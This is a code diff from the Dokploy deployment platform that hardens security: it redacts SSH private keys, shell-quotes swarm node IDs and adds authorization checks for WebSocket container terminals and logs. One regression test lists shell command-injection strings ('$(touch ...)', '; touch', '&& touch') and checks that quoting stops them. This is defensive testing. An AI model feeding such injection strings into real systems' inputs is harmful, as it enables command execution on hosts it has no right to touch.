const redacted = redactServerSshKey(server);
expect(redacted.sshKey.privateKey).toBe("");
// Non-secret fields and the surrounding record must survive untouched.
expect(redacted.sshKey.publicKey).toBe("ssh-ed25519 AAAA...");
expect(redacted.serverId).toBe("srv-1");
expect(redacted.name).toBe("prod");
});
it("does not mutate the original record", () => {
const server = {
serverId: "srv-1",
sshKey: { privateKey: "top-secret" },
};
redactServerSshKey(server);
expect(server.sshKey.privateKey).toBe("top-secret");
});
it("is a no-op when the server has no ssh key", () => {
const server = { serverId: "srv-2", sshKey: null };
expect(redactServerSshKey(server)).toEqual(server);
});
it("handles a record without a loaded sshKey relation", () => {
// e.g. server.update returns the plain row where sshKey is not populated.
const server: { serverId: string; sshKey?: null } = { serverId: "srv-3" };
expect(redactServerSshKey(server)).toEqual(server);
});
});

View File

@@ -0,0 +1,41 @@
import { execSync } from "node:child_process";
import { existsSync, rmSync } from "node:fs";
import { quote } from "shell-quote";
import { describe, expect, it } from "vitest";
// Mirrors how getNodeInfo builds its command in services/docker.ts:
// `docker node inspect ${quote([nodeId])} --format '{{json .}}'`
// We swap `docker node inspect` for `:` (a no-op) so the test only exercises
// whether the nodeId payload can break out of the command, not real docker.
const buildCommand = (nodeId: string) =>
`: node inspect ${quote([nodeId])} --format '{{json .}}'`;
const INJECTION_NODE_IDS = [
"$(touch %MARK%)",
"`touch %MARK%`",
"; touch %MARK%",
"abc | touch %MARK%",
"&& touch %MARK%",
];
describe("getNodeInfo nodeId command injection", () => {
it("does not execute injected commands from the nodeId", () => {
const mark = `/tmp/dokploy_swarm_pwned_${process.pid}`;
for (const template of INJECTION_NODE_IDS) {
if (existsSync(mark)) rmSync(mark);
const nodeId = template.replace("%MARK%", mark);
try {
execSync(buildCommand(nodeId), { shell: "/bin/sh", stdio: "ignore" });
} catch {
// A non-zero exit from the no-op is fine; we only care about the marker.
}
expect(existsSync(mark)).toBe(false);
}
if (existsSync(mark)) rmSync(mark);
});
it("keeps a legitimate node id intact as a single literal token", () => {
const nodeId = "abc123def456";
expect(quote([nodeId])).toBe(nodeId);
});
});

View File

@@ -0,0 +1,104 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
// Mock the permission + server helpers the wss authorizer composes.
const mockHasPermission = vi.hoisted(() => vi.fn());
const mockFindMember = vi.hoisted(() => vi.fn());
const mockCheckServiceAccess = vi.hoisted(() => vi.fn());
vi.mock("@dokploy/server/services/permission", () => ({
hasPermission: mockHasPermission,
findMemberByUserId: mockFindMember,
checkServiceAccess: mockCheckServiceAccess,
}));
const mockGetAccessibleServerIds = vi.hoisted(() => vi.fn());
vi.mock("@dokploy/server", () => ({
getAccessibleServerIds: mockGetAccessibleServerIds,
}));
import {
canAccessDockerOverWss,
canAccessTerminalOverWss,
} from "@/server/wss/authorize";
const USER = { id: "user-1" };
const SESSION = { activeOrganizationId: "org-1" };
beforeEach(() => {
vi.clearAllMocks();
});
describe("canAccessDockerOverWss", () => {
it("denies when there is no user or session", async () => {
expect(await canAccessDockerOverWss(null, SESSION)).toBe(false);
expect(await canAccessDockerOverWss(USER, null)).toBe(false);
});
it("denies a member without docker permission", async () => {
mockHasPermission.mockResolvedValue(false);
expect(await canAccessDockerOverWss(USER, SESSION)).toBe(false);
});
it("allows when the caller has docker permission (no server)", async () => {
mockHasPermission.mockResolvedValue(true);
expect(await canAccessDockerOverWss(USER, SESSION)).toBe(true);
});
it("denies a remote server the caller cannot access, even with docker permission", async () => {
mockHasPermission.mockResolvedValue(true);
mockGetAccessibleServerIds.mockResolvedValue(new Set(["other-server"]));
expect(await canAccessDockerOverWss(USER, SESSION, "srv-1")).toBe(false);
});
it("allows a remote server the caller can access", async () => {
mockHasPermission.mockResolvedValue(true);
mockGetAccessibleServerIds.mockResolvedValue(new Set(["srv-1"]));
expect(await canAccessDockerOverWss(USER, SESSION, "srv-1")).toBe(true);
});
it("denies when the container belongs to a service the caller cannot access", async () => {
mockCheckServiceAccess.mockRejectedValue(new Error("no access"));
expect(await canAccessDockerOverWss(USER, SESSION, null, "svc-1")).toBe(
false,
);
});
it("allows service access even without docker permission or server access", async () => {
// A member granted the service but without canAccessToDocker, whose
// service runs on a server they were not individually granted, must still
// read its logs — matches application.readLogs (service access only).
mockHasPermission.mockResolvedValue(false);
mockGetAccessibleServerIds.mockResolvedValue(new Set());
mockCheckServiceAccess.mockResolvedValue(undefined);
expect(
await canAccessDockerOverWss(USER, SESSION, "srv-remote", "svc-1"),
).toBe(true);
// Service path is authoritative — it must not fall through to docker/server.
expect(mockHasPermission).not.toHaveBeenCalled();
expect(mockGetAccessibleServerIds).not.toHaveBeenCalled();
});
});
describe("canAccessTerminalOverWss", () => {
it("denies the local host terminal to a plain member", async () => {
mockFindMember.mockResolvedValue({ role: "member" });
expect(await canAccessTerminalOverWss(USER, SESSION, "local")).toBe(false);
});
it("allows the local host terminal to an owner", async () => {
mockFindMember.mockResolvedValue({ role: "owner" });
expect(await canAccessTerminalOverWss(USER, SESSION, "local")).toBe(true);
});
it("allows the local host terminal to an admin", async () => {
mockFindMember.mockResolvedValue({ role: "admin" });
expect(await canAccessTerminalOverWss(USER, SESSION, "local")).toBe(true);
});
it("gates a remote server terminal on server access", async () => {
mockGetAccessibleServerIds.mockResolvedValue(new Set(["srv-1"]));
expect(await canAccessTerminalOverWss(USER, SESSION, "srv-1")).toBe(true);
expect(await canAccessTerminalOverWss(USER, SESSION, "srv-2")).toBe(false);
// role lookup must not be needed for the remote path
expect(mockFindMember).not.toHaveBeenCalled();
});
});

View File

@@ -271,6 +271,7 @@ export const ShowGeneralApplication = ({ applicationId }: Props) => {
<DockerTerminalModal
appName={data?.appName || ""}
serverId={data?.serverId || ""}
serviceId={applicationId}
>
<Button
variant="outline"

View File

@@ -50,9 +50,10 @@ export const badgeStateColor = (state: string) => {
interface Props {
appName: string;
serverId?: string;
serviceId?: string;
}
export const ShowDockerLogs = ({ appName, serverId }: Props) => {
export const ShowDockerLogs = ({ appName, serverId, serviceId }: Props) => {
const [containerId, setContainerId] = useState<string | undefined>();
const [option, setOption] = useState<"swarm" | "native">("native");
@@ -182,6 +183,7 @@ export const ShowDockerLogs = ({ appName, serverId }: Props) => {
serverId={serverId || ""}
containerId={containerId || "select-a-container"}
runType={option}
serviceId={serviceId}
/>
</CardContent>
</Card>

View File

@@ -55,12 +55,14 @@ interface Props {
appName: string;
serverId?: string;
appType: "stack" | "docker-compose";
serviceId?: string;
}
export const ShowComposeContainers = ({
appName,
appType,
serverId,
serviceId,
}: Props) => {
const { data, isPending, refetch } =
api.docker.getContainersByAppNameMatch.useQuery(
@@ -122,6 +124,7 @@ export const ShowComposeContainers = ({
key={container.containerId}
container={container}
serverId={serverId}
serviceId={serviceId}
onActionComplete={() => refetch()}
/>
))}
@@ -142,12 +145,14 @@ interface ContainerRowProps {
status: string;
};
serverId?: string;
serviceId?: string;
onActionComplete: () => void;
}
const ContainerRow = ({
container,
serverId,
serviceId,
onActionComplete,
}: ContainerRowProps) => {
const [logsOpen, setLogsOpen] = useState(false);
@@ -236,6 +241,7 @@ const ContainerRow = ({
<DockerTerminalModal
containerId={container.containerId}
serverId={serverId || ""}
serviceId={serviceId}
>
Terminal
</DockerTerminalModal>
@@ -280,6 +286,7 @@ const ContainerRow = ({
containerId={container.containerId}
serverId={serverId}
runType="native"
serviceId={serviceId}
/>
</div>
</DialogContent>

View File

@@ -206,6 +206,7 @@ export const ComposeActions = ({ composeId }: Props) => {
appName={data?.appName || ""}
serverId={data?.serverId || ""}
appType={data?.composeType || "docker-compose"}
serviceId={data?.composeId}
>
<Button
variant="outline"

View File

@@ -35,9 +35,14 @@ export const DockerLogs = dynamic(
interface Props {
appName: string;
serverId?: string;
serviceId?: string;
}
export const ShowDockerLogsStack = ({ appName, serverId }: Props) => {
export const ShowDockerLogsStack = ({
appName,
serverId,
serviceId,
}: Props) => {
const [option, setOption] = useState<"swarm" | "native">("native");
const [containerId, setContainerId] = useState<string | undefined>();
@@ -167,6 +172,7 @@ export const ShowDockerLogsStack = ({ appName, serverId }: Props) => {
serverId={serverId || ""}
containerId={containerId || "select-a-container"}
runType={option}
serviceId={serviceId}
/>
</CardContent>
</Card>

View File

@@ -35,12 +35,14 @@ interface Props {
appName: string;
serverId?: string;
appType: "stack" | "docker-compose";
serviceId?: string;
}
export const ShowDockerLogsCompose = ({
appName,
appType,
serverId,
serviceId,
}: Props) => {
const { data, isPending } = api.docker.getContainersByAppNameMatch.useQuery(
{
@@ -104,6 +106,7 @@ export const ShowDockerLogsCompose = ({
serverId={serverId || ""}
containerId={containerId || "select-a-container"}
runType="native"
serviceId={serviceId}
/>
</CardContent>
</Card>

View File

@@ -23,6 +23,7 @@ interface Props {
containerId: string;
serverId?: string | null;
runType: "swarm" | "native";
serviceId?: string;
}
export const priorities = [
@@ -52,6 +53,7 @@ export const DockerLogsId: React.FC<Props> = ({
containerId,
serverId,
runType,
serviceId,
}) => {
const { data } = api.docker.getConfig.useQuery(
{
@@ -157,6 +159,10 @@ export const DockerLogsId: React.FC<Props> = ({
params.append("serverId", serverId);
}
if (serviceId) {
params.append("serviceId", serviceId);
}
const wsUrl = `${protocol}//${
window.location.host
}/docker-container-logs?${params.toString()}`;
@@ -222,7 +228,7 @@ export const DockerLogsId: React.FC<Props> = ({
ws.close();
}
};
}, [containerId, serverId, lines, search, since]);
}, [containerId, serverId, serviceId, lines, search, since]);
const handleDownload = () => {
const logContent = filteredLogs

View File

@@ -23,12 +23,14 @@ interface Props {
containerId: string;
serverId?: string;
children?: React.ReactNode;
serviceId?: string;
}
export const DockerTerminalModal = ({
children,
containerId,
serverId,
serviceId,
}: Props) => {
const [mainDialogOpen, setMainDialogOpen] = useState(false);
const [confirmDialogOpen, setConfirmDialogOpen] = useState(false);
@@ -74,6 +76,7 @@ export const DockerTerminalModal = ({
id="terminal"
containerId={containerId}
serverId={serverId || ""}
serviceId={serviceId}
/>
<Dialog open={confirmDialogOpen} onOpenChange={setConfirmDialogOpen}>
<DialogContent onEscapeKeyDown={(event) => event.preventDefault()}>

View File

@@ -10,12 +10,14 @@ interface Props {
id: string;
containerId?: string;
serverId?: string;
serviceId?: string;
}
export const DockerTerminal: React.FC<Props> = ({
id,
containerId,
serverId,
serviceId,
}) => {
const termRef = useRef(null);
const [activeWay, setActiveWay] = React.useState<string | undefined>("bash");
@@ -38,7 +40,7 @@ export const DockerTerminal: React.FC<Props> = ({
const addonFit = new FitAddon();
const protocol = window.location.protocol === "https:" ? "wss:" : "ws:";
const wsUrl = `${protocol}//${window.location.host}/docker-container-terminal?containerId=${containerId}&activeWay=${activeWay}${serverId ? `&serverId=${serverId}` : ""}`;
const wsUrl = `${protocol}//${window.location.host}/docker-container-terminal?containerId=${containerId}&activeWay=${activeWay}${serverId ? `&serverId=${serverId}` : ""}${serviceId ? `&serviceId=${serviceId}` : ""}`;
const ws = new WebSocket(wsUrl);

View File

@@ -229,6 +229,7 @@ export const ShowGeneralLibsql = ({ libsqlId }: Props) => {
)}
<DockerTerminalModal
appName={data?.appName || ""}
serviceId={data?.libsqlId}
serverId={data?.serverId || ""}
>
<Button

View File

@@ -236,6 +236,7 @@ export const ShowGeneralMariadb = ({ mariadbId }: Props) => {
))}
<DockerTerminalModal
appName={data?.appName || ""}
serviceId={data?.mariadbId}
serverId={data?.serverId || ""}
>
<Button

View File

@@ -230,6 +230,7 @@ export const ShowGeneralMongo = ({ mongoId }: Props) => {
</TooltipProvider>
<DockerTerminalModal
appName={data?.appName || ""}
serviceId={data?.mongoId}
serverId={data?.serverId || ""}
>
<Button

View File

@@ -228,6 +228,7 @@ export const ShowGeneralMysql = ({ mysqlId }: Props) => {
</TooltipProvider>
<DockerTerminalModal
appName={data?.appName || ""}
serviceId={data?.mysqlId}
serverId={data?.serverId || ""}
>
<Button

View File

@@ -234,6 +234,7 @@ export const ShowGeneralPostgres = ({ postgresId }: Props) => {
</TooltipProvider>
<DockerTerminalModal
appName={data?.appName || ""}
serviceId={data?.postgresId}
serverId={data?.serverId || ""}
>
<Button

View File

@@ -229,6 +229,7 @@ export const ShowGeneralRedis = ({ redisId }: Props) => {
</TooltipProvider>
<DockerTerminalModal
appName={data?.appName || ""}
serviceId={data?.redisId}
serverId={data?.serverId || ""}
>
<Button

View File

@@ -1932,8 +1932,7 @@ export const HandleNotifications = ({ notificationId }: Props) => {
<div className="space-y-0.5">
<FormLabel>Docker Cleanup</FormLabel>
<FormDescription>
Trigger the action when Docker cleanup is
performed.
Trigger the action when Docker cleanup is performed.
</FormDescription>
</div>
<FormControl>

View File

@@ -40,6 +40,7 @@ interface Props {
children?: React.ReactNode;
serverId?: string;
appType?: "stack" | "docker-compose";
serviceId?: string;
}
export const DockerTerminalModal = ({
@@ -47,6 +48,7 @@ export const DockerTerminalModal = ({
appName,
serverId,
appType,
serviceId,
}: Props) => {
const { data, isPending } = api.docker.getContainersByAppNameMatch.useQuery(
{
@@ -131,6 +133,7 @@ export const DockerTerminalModal = ({
serverId={serverId || ""}
id="terminal"
containerId={containerId || "select-a-container"}
serviceId={serviceId}
/>
<Dialog open={confirmDialogOpen} onOpenChange={setConfirmDialogOpen}>
<DialogContent onEscapeKeyDown={(event) => event.preventDefault()}>

View File

@@ -1,5 +1,6 @@
import { createGithub } from "@dokploy/server";
import { createGithub, validateRequest } from "@dokploy/server";
import { db } from "@dokploy/server/db";
import { hasPermission } from "@dokploy/server/services/permission";
import { eq } from "drizzle-orm";
import type { NextApiRequest, NextApiResponse } from "next";
import { Octokit } from "octokit";
@@ -21,18 +22,22 @@ export default async function handler(
if (!code) {
return res.status(400).json({ error: "Missing code parameter" });
}
const [action, ...rest] = state?.split(":");
// For gh_init: rest[0] = organizationId, rest[1] = userId
// For gh_setup: rest[0] = githubProviderId
const { user, session } = await validateRequest(req);
if (!user || !session?.activeOrganizationId) {
return res.status(401).json({ error: "Unauthorized" });
}
const ctx = {
user: { id: user.id },
session: { activeOrganizationId: session.activeOrganizationId },
};
const [action] = state?.split(":") ?? [];
if (!(await hasPermission(ctx, { gitProviders: ["create"] }))) {
return res.status(403).json({ error: "Forbidden" });
}
if (action === "gh_init") {
const organizationId = rest[0];
const userId = rest[1] || (req.query.userId as string);
if (!userId) {
return res.status(400).json({ error: "Missing userId parameter" });
}
const octokit = new Octokit({});
const { data } = await octokit.request(
"POST /app-manifests/{code}/conversions",
@@ -51,16 +56,32 @@ export default async function handler(
githubWebhookSecret: data.webhook_secret,
githubPrivateKey: data.pem,
},
organizationId as string,
userId,
session.activeOrganizationId,
user.id,
);
} else if (action === "gh_setup") {
const githubId = state?.split(":")[1];
if (!githubId) {
return res.status(400).json({ error: "Missing github provider id" });
}
const provider = await db.query.github.findFirst({
where: eq(github.githubId, githubId),
with: { gitProvider: true },
});
if (
!provider ||
provider.gitProvider.organizationId !== session.activeOrganizationId
) {
return res.status(404).json({ error: "Github provider not found" });
}
await db
.update(github)
.set({
githubInstallationId: installation_id,
})
.where(eq(github.githubId, rest[0] as string))
.where(eq(github.githubId, githubId))
.returning();
}

View File

@@ -347,6 +347,7 @@ const Service = (
<ShowDockerLogs
appName={data?.appName || ""}
serverId={data?.serverId || ""}
serviceId={data?.applicationId}
/>
</div>
</TabsContent>

View File

@@ -312,6 +312,7 @@ const Service = (
serverId={data?.serverId || undefined}
appName={data?.appName || ""}
appType={data?.composeType || "docker-compose"}
serviceId={data?.composeId}
/>
</div>
</TabsContent>
@@ -380,11 +381,13 @@ const Service = (
serverId={data?.serverId || ""}
appName={data?.appName || ""}
appType={data?.composeType || "docker-compose"}
serviceId={data?.composeId}
/>
) : (
<ShowDockerLogsStack
serverId={data?.serverId || ""}
appName={data?.appName || ""}
serviceId={data?.composeId}
/>
)}
</div>

View File

@@ -269,6 +269,7 @@ const Libsql = (
<ShowDockerLogs
serverId={data?.serverId || ""}
appName={data?.appName || ""}
serviceId={data?.libsqlId}
/>
</div>
</TabsContent>

View File

@@ -299,6 +299,7 @@ const Mariadb = (
<ShowDockerLogs
serverId={data?.serverId || ""}
appName={data?.appName || ""}
serviceId={data?.mariadbId}
/>
</div>
</TabsContent>

View File

@@ -299,6 +299,7 @@ const Mongo = (
<ShowDockerLogs
serverId={data?.serverId || ""}
appName={data?.appName || ""}
serviceId={data?.mongoId}
/>
</div>
</TabsContent>

View File

@@ -276,6 +276,7 @@ const MySql = (
<ShowDockerLogs
serverId={data?.serverId || ""}
appName={data?.appName || ""}
serviceId={data?.mysqlId}
/>
</div>
</TabsContent>

View File

@@ -284,6 +284,7 @@ const Postgresql = (
<ShowDockerLogs
serverId={data?.serverId || ""}
appName={data?.appName || ""}
serviceId={data?.postgresId}
/>
</div>
</TabsContent>

View File

@@ -297,6 +297,7 @@ const Redis = (
<ShowDockerLogs
serverId={data?.serverId || ""}
appName={data?.appName || ""}
serviceId={data?.redisId}
/>
</div>
</TabsContent>

View File

@@ -6,6 +6,7 @@ import {
getRemoteDocker,
} from "@dokploy/server";
import { TRPCError } from "@trpc/server";
import { quote } from "shell-quote";
import { z } from "zod";
import { audit } from "@/server/api/utils/audit";
import { getLocalServerIp } from "@/server/wss/terminal";
@@ -51,8 +52,8 @@ export const clusterRouter = createTRPCRouter({
}
}
try {
const drainCommand = `docker node update --availability drain ${input.nodeId}`;
const removeCommand = `docker node rm ${input.nodeId} --force`;
const drainCommand = `docker node update --availability drain ${quote([input.nodeId])}`;
const removeCommand = `docker node rm ${quote([input.nodeId])} --force`;
if (input.serverId) {
await execAsyncRemote(input.serverId, drainCommand);

View File

@@ -13,6 +13,7 @@ import {
findMemberByUserId,
} from "@dokploy/server/services/permission";
import {
assertHostScheduleAccess,
createSchedule,
deleteSchedule,
findScheduleById,
@@ -31,6 +32,8 @@ export const scheduleRouter = createTRPCRouter({
create: protectedProcedure
.input(createScheduleSchema)
.mutation(async ({ input, ctx }) => {
await assertHostScheduleAccess(ctx, input.scheduleType, input.serverId);
const serviceId = input.applicationId || input.composeId;
if (serviceId) {
await checkServicePermissionAndAccess(ctx, serviceId, {
@@ -44,51 +47,14 @@ export const scheduleRouter = createTRPCRouter({
);
}
} else {
if (input.scheduleType === "dokploy-server" && IS_CLOUD) {
throw new TRPCError({
code: "FORBIDDEN",
message:
"Host-level schedules are not available in the cloud version.",
});
}
await checkPermission(ctx, { schedule: ["create"] });
if (
input.scheduleType === "server" ||
input.scheduleType === "dokploy-server"
) {
const member = await findMemberByUserId(
ctx.user.id,
if (IS_CLOUD && input.scheduleType === "server" && input.serverId) {
await assertScheduledJobLimit(
ctx.session.activeOrganizationId,
"server",
input.serverId,
);
if (member.role !== "owner" && member.role !== "admin") {
throw new TRPCError({
code: "FORBIDDEN",
message:
"Only owners and admins can manage server-level schedules.",
});
}
}
if (input.scheduleType === "server" && input.serverId) {
const targetServer = await findServerById(input.serverId);
if (
targetServer.organizationId !== ctx.session.activeOrganizationId
) {
throw new TRPCError({
code: "UNAUTHORIZED",
message: "You don't have access to this server.",
});
}
if (IS_CLOUD) {
await assertScheduledJobLimit(
ctx.session.activeOrganizationId,
"server",
input.serverId,
);
}
}
}
const newSchedule = await createSchedule({
@@ -135,6 +101,22 @@ export const scheduleRouter = createTRPCRouter({
});
}
await assertHostScheduleAccess(
ctx,
existingSchedule.scheduleType,
existingSchedule.serverId,
);
if (
input.scheduleType &&
input.scheduleType !== existingSchedule.scheduleType
) {
await assertHostScheduleAccess(
ctx,
input.scheduleType,
input.serverId ?? existingSchedule.serverId,
);
}
const serviceId =
existingSchedule.applicationId || existingSchedule.composeId;
if (serviceId) {
@@ -142,47 +124,7 @@ export const scheduleRouter = createTRPCRouter({
schedule: ["update"],
});
} else {
if (existingSchedule.scheduleType === "dokploy-server" && IS_CLOUD) {
throw new TRPCError({
code: "FORBIDDEN",
message:
"Host-level schedules are not available in the cloud version.",
});
}
await checkPermission(ctx, { schedule: ["update"] });
if (
existingSchedule.scheduleType === "server" ||
existingSchedule.scheduleType === "dokploy-server"
) {
const member = await findMemberByUserId(
ctx.user.id,
ctx.session.activeOrganizationId,
);
if (member.role !== "owner" && member.role !== "admin") {
throw new TRPCError({
code: "FORBIDDEN",
message:
"Only owners and admins can manage server-level schedules.",
});
}
}
if (
existingSchedule.scheduleType === "server" &&
existingSchedule.serverId
) {
const targetServer = await findServerById(existingSchedule.serverId);
if (
targetServer.organizationId !== ctx.session.activeOrganizationId
) {
throw new TRPCError({
code: "UNAUTHORIZED",
message: "You don't have access to this server.",
});
}
}
}
const updatedSchedule = await updateSchedule(input);
@@ -222,50 +164,19 @@ export const scheduleRouter = createTRPCRouter({
.input(z.object({ scheduleId: z.string() }))
.mutation(async ({ input, ctx }) => {
const scheduleItem = await findScheduleById(input.scheduleId);
await assertHostScheduleAccess(
ctx,
scheduleItem.scheduleType,
scheduleItem.serverId,
);
const serviceId = scheduleItem.applicationId || scheduleItem.composeId;
if (serviceId) {
await checkServicePermissionAndAccess(ctx, serviceId, {
schedule: ["delete"],
});
} else {
if (scheduleItem.scheduleType === "dokploy-server" && IS_CLOUD) {
throw new TRPCError({
code: "FORBIDDEN",
message:
"Host-level schedules are not available in the cloud version.",
});
}
await checkPermission(ctx, { schedule: ["delete"] });
if (
scheduleItem.scheduleType === "server" ||
scheduleItem.scheduleType === "dokploy-server"
) {
const member = await findMemberByUserId(
ctx.user.id,
ctx.session.activeOrganizationId,
);
if (member.role !== "owner" && member.role !== "admin") {
throw new TRPCError({
code: "FORBIDDEN",
message:
"Only owners and admins can manage server-level schedules.",
});
}
}
if (scheduleItem.scheduleType === "server" && scheduleItem.serverId) {
const targetServer = await findServerById(scheduleItem.serverId);
if (
targetServer.organizationId !== ctx.session.activeOrganizationId
) {
throw new TRPCError({
code: "UNAUTHORIZED",
message: "You don't have access to this server.",
});
}
}
}
await deleteSchedule(input.scheduleId);
@@ -389,50 +300,19 @@ export const scheduleRouter = createTRPCRouter({
.input(z.object({ scheduleId: z.string().min(1) }))
.mutation(async ({ input, ctx }) => {
const scheduleItem = await findScheduleById(input.scheduleId);
await assertHostScheduleAccess(
ctx,
scheduleItem.scheduleType,
scheduleItem.serverId,
);
const serviceId = scheduleItem.applicationId || scheduleItem.composeId;
if (serviceId) {
await checkServicePermissionAndAccess(ctx, serviceId, {
schedule: ["create"],
});
} else {
if (scheduleItem.scheduleType === "dokploy-server" && IS_CLOUD) {
throw new TRPCError({
code: "FORBIDDEN",
message:
"Host-level schedules are not available in the cloud version.",
});
}
await checkPermission(ctx, { schedule: ["create"] });
if (
scheduleItem.scheduleType === "server" ||
scheduleItem.scheduleType === "dokploy-server"
) {
const member = await findMemberByUserId(
ctx.user.id,
ctx.session.activeOrganizationId,
);
if (member.role !== "owner" && member.role !== "admin") {
throw new TRPCError({
code: "FORBIDDEN",
message:
"Only owners and admins can manage server-level schedules.",
});
}
}
if (scheduleItem.scheduleType === "server" && scheduleItem.serverId) {
const targetServer = await findServerById(scheduleItem.serverId);
if (
targetServer.organizationId !== ctx.session.activeOrganizationId
) {
throw new TRPCError({
code: "UNAUTHORIZED",
message: "You don't have access to this server.",
});
}
}
}
try {
await runCommand(input.scheduleId);

View File

@@ -9,6 +9,7 @@ import {
getPublicIpWithFallback,
haveActiveServices,
IS_CLOUD,
redactServerSshKey,
removeDeploymentsByServerId,
serverAudit,
serverSetup,
@@ -105,7 +106,7 @@ export const serverRouter = createTRPCRouter({
});
}
return server;
return redactServerSshKey(server);
}),
getDefaultCommand: withPermission("server", "read")
.input(apiFindOneServer)
@@ -436,7 +437,7 @@ export const serverRouter = createTRPCRouter({
await updateServersBasedOnQuantity(admin.id, admin.serversQuantity);
}
return currentServer;
return redactServerSshKey(currentServer);
} catch (error) {
throw error;
}

View File

@@ -18,12 +18,30 @@ export const swarmRouter = createTRPCRouter({
serverId: z.string().optional(),
}),
)
.query(async ({ input }) => {
.query(async ({ input, ctx }) => {
if (input.serverId) {
const server = await findServerById(input.serverId);
if (server.organizationId !== ctx.session?.activeOrganizationId) {
throw new TRPCError({
code: "UNAUTHORIZED",
message: "You are not authorized to access this server",
});
}
}
return await getSwarmNodes(input.serverId);
}),
getNodeInfo: withPermission("server", "read")
.input(z.object({ nodeId: z.string(), serverId: z.string().optional() }))
.query(async ({ input }) => {
.query(async ({ input, ctx }) => {
if (input.serverId) {
const server = await findServerById(input.serverId);
if (server.organizationId !== ctx.session?.activeOrganizationId) {
throw new TRPCError({
code: "UNAUTHORIZED",
message: "You are not authorized to access this server",
});
}
}
return await getNodeInfo(input.nodeId, input.serverId);
}),
getNodeApps: withPermission("server", "read")
@@ -32,7 +50,16 @@ export const swarmRouter = createTRPCRouter({
serverId: z.string().optional(),
}),
)
.query(async ({ input }) => {
.query(async ({ input, ctx }) => {
if (input.serverId) {
const server = await findServerById(input.serverId);
if (server.organizationId !== ctx.session?.activeOrganizationId) {
throw new TRPCError({
code: "UNAUTHORIZED",
message: "You are not authorized to access this server",
});
}
}
return getNodeApplications(input.serverId);
}),
getAppInfos: withPermission("server", "read")
@@ -54,7 +81,16 @@ export const swarmRouter = createTRPCRouter({
serverId: z.string().optional(),
}),
)
.query(async ({ input }) => {
.query(async ({ input, ctx }) => {
if (input.serverId) {
const server = await findServerById(input.serverId);
if (server.organizationId !== ctx.session?.activeOrganizationId) {
throw new TRPCError({
code: "UNAUTHORIZED",
message: "You are not authorized to access this server",
});
}
}
return await getApplicationInfo(input.appName, input.serverId);
}),
getContainerStats: withPermission("server", "read")

View File

@@ -0,0 +1,89 @@
import { getAccessibleServerIds } from "@dokploy/server";
import {
checkServiceAccess,
findMemberByUserId,
hasPermission,
} from "@dokploy/server/services/permission";
type WssUser = { id: string } | null | undefined;
type WssSession = { activeOrganizationId?: string | null } | null | undefined;
const buildCtx = (user: { id: string }, activeOrganizationId: string) => ({
user: { id: user.id },
session: { activeOrganizationId },
});
// Authorizes docker/container operations opened over a WebSocket (container
// terminal, container logs, container stats). Requires the docker permission
// (owner/admin, or a member explicitly granted canAccessToDocker) and, for a
// remote server, that the server is accessible to the caller. Previously these
// handlers only checked session + organization, so any member could reach a
// root shell / logs of any container.
export const canAccessDockerOverWss = async (
user: WssUser,
session: WssSession,
serverId?: string | null,
serviceId?: string | null,
): Promise<boolean> => {
if (!user || !session?.activeOrganizationId) return false;
const ctx = buildCtx(user, session.activeOrganizationId);
// When the container belongs to a specific Dokploy service (opened from a
// service page, so serviceId is present), access to that service is the
// authoritative gate — matching the service tRPC endpoints (e.g.
// application.readLogs, which check service access only). A member granted
// the service can read its logs / open its terminal even without the broad
// "docker" permission or explicit access to the server it runs on.
if (serviceId) {
try {
await checkServiceAccess(ctx, serviceId, "read");
return true;
} catch {
return false;
}
}
// Generic Docker overview (no service context): mirror the docker tRPC router
// — require the docker permission and access to the target server.
if (!(await hasPermission(ctx, { docker: ["read"] }))) return false;
if (serverId && serverId !== "local") {
const accessible = await getAccessibleServerIds({
userId: user.id,
activeOrganizationId: session.activeOrganizationId,
});
if (!accessible.has(serverId)) return false;
}
return true;
};
// Authorizes the host/server SSH terminal opened over a WebSocket. The local
// host terminal is a root shell on the control-plane host, so it is restricted
// to owner/admin. A remote server terminal is gated on server access.
export const canAccessTerminalOverWss = async (
user: WssUser,
session: WssSession,
serverId?: string | null,
): Promise<boolean> => {
if (!user || !session?.activeOrganizationId) return false;
if (serverId && serverId !== "local") {
const accessible = await getAccessibleServerIds({
userId: user.id,
activeOrganizationId: session.activeOrganizationId,
});
return accessible.has(serverId);
}
try {
const member = await findMemberByUserId(
user.id,
session.activeOrganizationId,
);
return member?.role === "owner" || member?.role === "admin";
} catch {
return false;
}
};

View File

@@ -3,6 +3,7 @@ import { findServerById, IS_CLOUD, validateRequest } from "@dokploy/server";
import { spawn } from "node-pty";
import { Client } from "ssh2";
import { WebSocketServer } from "ws";
import { canAccessDockerOverWss } from "./authorize";
import {
getShell,
isValidContainerId,
@@ -41,6 +42,7 @@ export const setupDockerContainerLogsWebSocketServer = (
const since = url.searchParams.get("since") ?? "all";
const serverId = url.searchParams.get("serverId");
const runType = url.searchParams.get("runType");
const serviceId = url.searchParams.get("serviceId");
const { user, session } = await validateRequest(req);
if (!containerId) {
@@ -74,6 +76,11 @@ export const setupDockerContainerLogsWebSocketServer = (
return;
}
if (!(await canAccessDockerOverWss(user, session, serverId, serviceId))) {
ws.close(4003, "Not authorized");
return;
}
// Set up keep-alive ping mechanism to prevent timeout
// Send ping every 45 seconds to keep connection alive
const pingInterval = setInterval(() => {

View File

@@ -3,6 +3,7 @@ import { findServerById, IS_CLOUD, validateRequest } from "@dokploy/server";
import { spawn } from "node-pty";
import { Client } from "ssh2";
import { WebSocketServer } from "ws";
import { canAccessDockerOverWss } from "./authorize";
import { isValidContainerId, isValidShell } from "./utils";
export const setupDockerContainerTerminalWebSocketServer = (
@@ -32,6 +33,7 @@ export const setupDockerContainerTerminalWebSocketServer = (
const containerId = url.searchParams.get("containerId");
const activeWay = url.searchParams.get("activeWay");
const serverId = url.searchParams.get("serverId");
const serviceId = url.searchParams.get("serviceId");
const { user, session } = await validateRequest(req);
if (!containerId) {
@@ -58,6 +60,11 @@ export const setupDockerContainerTerminalWebSocketServer = (
ws.close();
return;
}
if (!(await canAccessDockerOverWss(user, session, serverId, serviceId))) {
ws.close(4003, "Not authorized");
return;
}
try {
if (serverId) {
const server = await findServerById(serverId);

View File

@@ -9,6 +9,7 @@ import {
validateRequest,
} from "@dokploy/server";
import { WebSocketServer } from "ws";
import { canAccessDockerOverWss } from "./authorize";
export const setupDockerStatsMonitoringSocketServer = (
server: http.Server<typeof http.IncomingMessage, typeof http.ServerResponse>,
@@ -44,6 +45,7 @@ export const setupDockerStatsMonitoringSocketServer = (
| "application"
| "stack"
| "docker-compose";
const serviceId = url.searchParams.get("serviceId");
